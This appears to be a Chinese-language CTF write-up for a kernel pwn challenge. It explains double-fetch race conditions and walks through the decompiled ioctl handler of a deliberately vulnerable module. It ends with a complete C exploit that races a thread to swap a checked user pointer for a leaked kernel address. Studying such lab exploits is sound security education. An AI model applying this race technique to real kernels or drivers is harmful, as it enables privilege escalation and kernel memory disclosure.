👴学数电的时候学过竞争-冒险现象,组合逻辑电路中,同一信号经不同的路径传输后,到达电路中某一会合点的时间有先有后,这种现象称为逻辑竞争,而因此产生输出干扰脉冲的现象称为冒险。
👴不确定这是不是条件竞争祖宗,这⑧重要
当一个软件的运行结果依赖于进程或者线程的顺序时,就可能会出现条件竞争
条件
double fetch产生于没有安全同步措施的多线程数据访问,是一种内核态与用户态之间的数据访问竞争
用户空间向内核传递数据时,内核通过通过 copy_from_user 等拷贝函数将用户数据拷贝至内核空间,在输入数据较为复杂时,内核可能只引用其指针,而将数据暂时保存在用户空间进行后续处理,此时,该数据存在被其他恶意线程篡改风险
两个用户线程,第一个准备用户数据并调用syscall,向内核传递数据。内核只引用其指针,对数据进行两次读取,第一次验证有效性,第二次真正使用。同时第二个进程利用条件竞争,在两次读取之间篡改用户数据,造成内核验证通过数据与实际使用数据不一致
double fetch引发的常见后果是数组访问越界和缓冲区溢出,从而造成内核崩溃或者提权,此外也可造成内核信息泄露等后果
这题要是和高校战役的kernel pwn一样,👴就strings出flag
strings baby.ko | grep flag
flag{THIS_WILL_BE_YOUR_FLAG_1234}
Your flag is at %px! But I don't think you know it's content
Looks like the flag is not a secret anymore. So here is it %s
flag
没给出bzImage,在IDA中可以看到版本4.15.0-22-generic,下载一波
start.sh
qemu-system-x86_64 \
-m 256M -smp 2,cores=2,threads=1 \
-kernel ./vmlinuz-4.15.0-22-generic \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet" \
-cpu qemu64 \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic -enable-kvm \
init
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
echo "flag{this_is_a_sample_flag}" > flag
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
insmod baby.ko
chmod 777 /dev/baby
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh
umount /proc
umount /sys
poweroff -d 0 -f
baby_ioctl
signed __int64 __fastcall baby_ioctl(__int64 a1, attr *a2)
{
attr *v2; // rdx
signed __int64 result; // rax
int i; // [rsp-5Ch] [rbp-5Ch]
attr *v5; // [rsp-58h] [rbp-58h]
_fentry__(a1, a2);
v5 = v2;
if ( a2 == 0x6666 )
{
printk("Your flag is at %px! But I don't think you know it's content\n", flag);
result = 0LL;
}
else if ( a2 == 0x1337
&& !_chk_range_not_ok(v2, 16LL, *(__readgsqword(¤t_task) + 4952))
&& !_chk_range_not_ok(v5->flag_str, SLODWORD(v5->flag_len), *(__readgsqword(¤t_task) + 4952))
&& LODWORD(v5->flag_len) == strlen(flag) )
{
for ( i = 0; i < strlen(flag); ++i )
{
if ( *(v5->flag_str + i) != flag[i] )
return 0x16LL;
}
printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);
result = 0LL;
}
else
{
result = 0xELL;
}
return result;
}
0x6666输出flag地址
flag结构体
00000000 attr struc ; (sizeof=0x10, mappedto_3)
00000000 flag_str dq ?
00000008 flag_len dq ?
00000010 attr ends
00000010
0x1337三次check,数据是用户态数据,flag_str指向用户态数据,len和内核中flag len相等才能过check
过check之后如果flag和内核中的flag相同就会输出flag
利用条件竞争使传入的flag_str指针恰好在过check之后改为内核中的flag地址,就可以输出flag
创建一个进程不断的把flag_str改为内核中的flag地址
#include <string.h>
char *strstr(const char *haystack, const char *needle);
#define _GNU_SOURCE /* See feature_test_macros(7) */
#include <string.h>
char *strcasestr(const char *haystack, const char *needle);
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <pthread.h>
#define TRYTIME 0x1000
#define LEN 0x1000
struct attr
{
char *flag;
size_t len;
};
unsigned long long addr;
int finish =0;
char buf[LEN+1]={0};
void change_attr_value(void *s){
struct attr * s1 = s;
while(finish==0){
s1->flag = addr;
}
}
int main(void)
{
int addr_fd;
char *idx;
int fd = open("/dev/baby",0);
int ret = ioctl(fd,0x6666);
pthread_t t1;
struct attr t;
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
system("dmesg > /tmp/record.txt");
addr_fd = open("/tmp/record.txt",O_RDONLY);
lseek(addr_fd,-LEN,SEEK_END);
read(addr_fd,buf,LEN);
close(addr_fd);
idx = strstr(buf,"Your flag is at ");
if (idx == 0){
printf("[-]Not found addr");
exit(-1);
}
else{
idx+=16;
addr = strtoull(idx,idx+16,16);
printf("[+]flag addr: %p\n",addr);
}
t.len = 33;
t.flag = buf;
pthread_create(&t1, NULL, change_attr_value,&t);
for(int i=0;i<TRYTIME;i++){
ret = ioctl(fd, 0x1337, &t);
t.flag = buf;
}
finish = 1;
pthread_join(t1, NULL);
close(fd);
puts("[+]result is :");
system("dmesg | grep flag");
return 0;
}
本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议(CC BY-NC-ND 4.0)进行许可。
This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (CC BY-NC-ND 4.0).